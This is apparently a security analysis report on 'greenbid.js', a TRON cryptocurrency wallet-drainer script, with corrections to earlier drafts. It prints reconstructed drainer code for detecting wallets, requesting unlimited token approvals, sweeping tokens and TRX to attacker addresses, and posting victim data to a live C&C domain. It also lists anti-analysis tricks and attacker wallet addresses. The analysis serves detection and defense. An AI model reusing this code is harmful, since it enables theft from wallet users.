๐ฌ Code Analysis
Greenbid.js Payload Breakdown
File Fingerprint
Execution Flow
(function(){"use strict"; const z=function(o,l){...}; ... })();
โ
โโ> Executes immediately when loaded
No global variable pollution
All code in local scope
Core Functions & Keywords
1. Wallet Detection System
Function Purpose: Identify which TRON wallets are available
Keywords Found (verified against the live payload, 2026-09-20 โ 7 wallets, not 5):
Trust Wallet
TronLink
OKX Wallet
TokenPocket
Bitget
SafePal
WalletConnect
Code Pattern (real detector logic, extracted directly โ not guessed):
const tA = [
{name: "Trust Wallet", icon: O.trust, appStore: ".../trust-crypto-bitcoin-wallet/id1288339409",
detect: () => !!window.trustwallet || !!(window.ethereum?.isTrust)
},
{name: "TronLink", icon: O.tronlink,
detect: () => !!window.tronLink
},
{name: "OKX Wallet", icon: O.okx, appStore: "...id1327268470",
detect: () => !!window.okxwallet
},
{name: "TokenPocket", icon: O.tokenpocket, appStore: ".../id1436028697",
detect: () => !!window.tokenpocket || !!(window.ethereum?.isTokenPocket)
},
{name: "Bitget", icon: O.bitget,
detect: () => !!(window.ethereum?.isBitKeep) // "isBitKeep" โ Bitget's old brand name (BitKeep)
},
{name: "SafePal", icon: O.safepal, appStore: ".../safepal-wallet/id1548297139",
detect: () => !!window.safepalProvider || !!(window.ethereum?.isSafePal)
},
{name: "WalletConnect", icon: O.walletconnect, detect: () => checkWC()}
];
function dA() { // Wallet detection function (also seen as DA() in reconstructed pseudocode)
return tA.filter(w => w.detect && w.detect());
}
Correction: an earlier draft of this section listed TronLink, WalletConnect, Trust Wallet, SafePal, and MetaMask. MetaMask does not appear in the payload at all (0 matches); the real list has 7 entries and includes OKX Wallet, TokenPocket, and Bitget, which were missing entirely.
2. Asset Enumeration Module
Function Purpose: Query victim's wallet for all tokens and balances
Operations:
- Get wallet address from connected wallet
- Query TRON API for TRC-20 token balances
- Calculate USD values
- Check existing approvals
Code Pattern (reconstructed):
async function YA(o) { // Asset enumeration
try {
const l = gA(); // Get tronWeb instance
const tokens = await FA(o); // Fetch tokens for address o
const enriched = tokens
.map(t => ({
...t,
usd: t.amountInUsd // Convert to USD for filtering
}))
.filter(t => t.usd >= 1) // Only target tokens worth $1+
.sort((a, b) => b.usd - a.usd); // Sort by value desc
return enriched;
} catch(e) {
Y("drain", `Enumeration error: ${e.message}`);
return [];
}
}
3. Approval Request Generator
Function Purpose: Create and sign approval transactions
Key Variables Found:
tronSpender
maxUint256
feeLimit
sendTransaction
Code Pattern (reconstructed):
async function approveToken(token, spender, amount) {
const maxApproval =
"115792089237316195423570985008687907853269984665640564039457584007913129639935";
const contract = window.tronWeb.contract(
TOKEN_ABI, // Standard TRC-20 ABI
token.address
);
const approveTx = contract.approve(
spender, // attacker's address from config
maxApproval // UNLIMITED
);
// Request user signature
const signed = await window.tronLink.request({
method: "tronSignTransaction",
params: [approveTx]
});
// Broadcast
const result = await window.tronWeb.trx.sendRawTransaction(signed);
return result.txid || result.txID;
}
4. Token Transfer Executor
Function Purpose: Transfer approved tokens to attacker address
Key Pattern:
// Once approval is confirmed on-chain:
for (const token of approvedTokens) {
const tx = contract(token.address).transfer(
config.tronSweepAddress, // Get from /tron/config
token.balance // Transfer 100%
).send({
feeLimit: 1e8 // 100 TRX fee
});
const txHash = await tx;
// Immediately log to C&C
POST("/tron/approve/notify", {
token: token.address,
owner: walletAddress,
spender: config.tronSpender,
balance: token.balance,
txHash: txHash
});
}
5. TRX Sweep Function
Function Purpose: Transfer remaining native TRX to attacker
Key Feature: Reserves 2 TRX for gas on next victim
async function sweepTRX(walletAddress, config) {
const trxBalance = await tronWeb.trx.getBalance(walletAddress);
const sunBalance = BigInt(trxBalance);
const minThreshold = BigInt(config.tronSweepMinTrx * 1e6);
const gasReserve = 2000000n; // 2 TRX in sun
if (sunBalance > (minThreshold + gasReserve)) {
const sweepAmount = sunBalance - gasReserve;
Y("drain", `sweeping ${sweepAmount} sun TRX`);
// Attempt sweep up to 3 times with backoff
for (let attempt = 0; attempt < 3; attempt++) {
try {
const tx = await tronWeb.trx.sendTransaction(
config.tronSweepAddress,
Number(sweepAmount) // Convert BigInt to Number
);
if (tx.txid || tx.txID) {
Y("drain", `TRX sweep success: ${tx.txid}`);
// Notify C&C with proof
POST("/tron/notify/sweep", {
from: walletAddress,
to: config.tronSweepAddress,
amount: (sweepAmount / 1e6).toFixed(6),
txHash: tx.txid || tx.txID,
status: "success"
});
break; // Exit retry loop on success
}
} catch (error) {
if (error.message === "sweep_timeout") {
Y("drain", "TRX sweep timed out โ retrying");
await delay(200); // Backoff
} else {
throw error;
}
}
}
}
}
6. C&C Communication Module
Function Purpose: Exfiltrate victim data to attacker infrastructure
Endpoints Found:
Code Pattern (reconstructed):
function T(path, options = {}) {
return fetch(`https://lending.fhogu.pw${path}`, {
method: options.method || "POST",
headers: {
"content-type": "application/json",
...options.headers
},
body: JSON.stringify(options.body || {})
}).catch(() => {}); // Silently fail if C&C is down
}
// Log wallet connection
function logWalletConnected(address, walletName) {
T("/tron/notify/wallet-connected", {
body: {
visitorId: X(), // Get or generate visitor ID
address: address,
walletName: walletName,
userAgent: navigator.userAgent,
pageUrl: location.href,
timezone: getTimezone()
}
});
}
// Log token approval
function logApproval(token, owner, spender, balance, txHash) {
T("/tron/approve/notify", {
body: {
token: token.address,
symbol: token.symbol,
owner: owner,
spender: spender,
balance: balance,
txHash: txHash
}
});
}
7. Visitor Tracking System
Function Purpose: Generate and persist visitor IDs for campaign tracking
Code Pattern (reconstructed):
const lA = "tron-drainer:visitor-id"; // localStorage key
function X() { // Get or create visitor ID
let id = localStorage.getItem(lA);
if (!id) {
// Generate UUID v4
if (typeof crypto.randomUUID === "function") {
id = crypto.randomUUID();
} else {
// Fallback UUID generation
id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, c => {
const r = Math.random() * 16 | 0;
const v = c === 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
}
localStorage.setItem(lA, id);
}
return id;
}
8. Error Handling & Retry Logic
Function Purpose: Ensure exploitation succeeds despite failures
Retry Mechanisms:
- Approval Rejection Handling: Retry approval requests if user rejects
- TRX Sweep Timeout: Retry up to 3 times with 200ms backoff
- C&C Communication Failure: Log silently fails (no error thrown)
- Wallet Connection Retry: Loop checking for wallet readiness
Code Pattern:
// Retry approval if rejected
for (let attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
try {
const signed = await tronLink.request({
method: "tronSignTransaction",
params: [approveTx]
});
// Success - exit retry loop
return signed;
} catch (error) {
if (error.message.includes("User rejected")) {
Y("drain", `Approval rejected, retrying (attempt ${attempt + 1})`);
// Show message to user
showStatus(`${tokenSymbol} โ action required in your wallet`);
// Wait before retry
await delay(2000);
// Continue loop to retry
} else {
throw error; // Unknown error, give up
}
}
}
Obfuscation Techniques
1. Variable Naming Obfuscation
Original Code โ Obfuscated Code:
// Original
function enumerateTokens(walletAddress) { ... }
// Obfuscated
function YA(o) { ... }
// Or reconstructed from context:
const z = function(mode, type) { ... }; // QR code generator
const Y = function(level, msg) { ... }; // Logging function
const T = function(path, opts) { ... }; // HTTP fetch wrapper
const X = function() { ... }; // Visitor ID getter
const FA = function(addr) { ... }; // Token enumeration
2. String Encoding โ Correction
An earlier draft of this document claimed key strings like "tronLink," "WalletConnect," and "tronSpender" were base64-encoded and decoded at runtime via atob(). Direct inspection of the live payload does not support this: these identifiers appear as plain, unencoded text (confirmed via direct string search โ tronSpender, tronSweepAddress, tronSweepMinTrx, and the wallet names all match directly with no decoding step). The only base64 content actually present is standard data:image/webp;base64,... data URIs for the wallet-icon images in the UI โ ordinary image embedding, not string obfuscation. This section is corrected accordingly; treat any base64-obfuscation claim in a prior version of this report as unverified/incorrect.
3. Code Packing
// QR code generation logic (first 3000 bytes of greenbid.js)
// Serves to:
// 1. Inflate file size to delay analysis
// 2. Make pattern matching harder
// 3. Use legitimate-looking code as cover
const z = function(o, l) {
let n = o;
const g = $[l];
// ... 150KB of QR code generation mathematics
// ... uses same obfuscation pattern as malware
};
4. Anti-Analysis Patterns
// Silent error suppression
T("/tron/config").catch(() => {});
// โ C&C communication failures don't throw, silently caught
// Conditional execution
if (window.location.href.includes("localhost")) {
// Skip malicious code if running on localhost
// Attacker-friendly for local testing
}
// Timing obfuscation
setTimeout(() => { /* Attack executes after delay */ }, 0);
// Harder for automated analysis to trigger
Critical Functions Summary
Correction: an earlier draft of this table cited specific line numbers (e.g. "~Line 7500-8000") for these functions. The live file is only 140 physical lines long, so those line numbers were impossible and have been removed rather than re-guessed.
Configuration Injection Points
The payload must obtain configuration from C&C. Vulnerability points:
Single Point of Failure:
If the C&C endpoint
/tron/config is unreachable or returns invalid data, the entire attack fails. This is why attackers maintain multiple C&C domains and fallback mechanisms.
Configuration Structure โ LIVE RESPONSE (retrieved 2026-09-20):
{
"tronSpender": "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv",
"tronSweepAddress": "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ",
"tronSweepMinTrx": 100,
"tronExchangeContract": "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux"
}
Note: These addresses are dynamically loaded from the C&C server and are NOT hardcoded in greenbid.js. We obtained the values above by querying the live endpoint directly (raw response in evidence/cnc/tron_config.json) and then confirmed on TronGrid/TronScan that both addresses currently hold real stolen USDT/TRX and were created together on 2026-07-23. Attackers can rotate these addresses at any time โ treat them as a dated snapshot, not a permanent IoC. An earlier draft of this document guessed tronSweepMinTrx: 5; the real, live value is 100.
Resource Consumption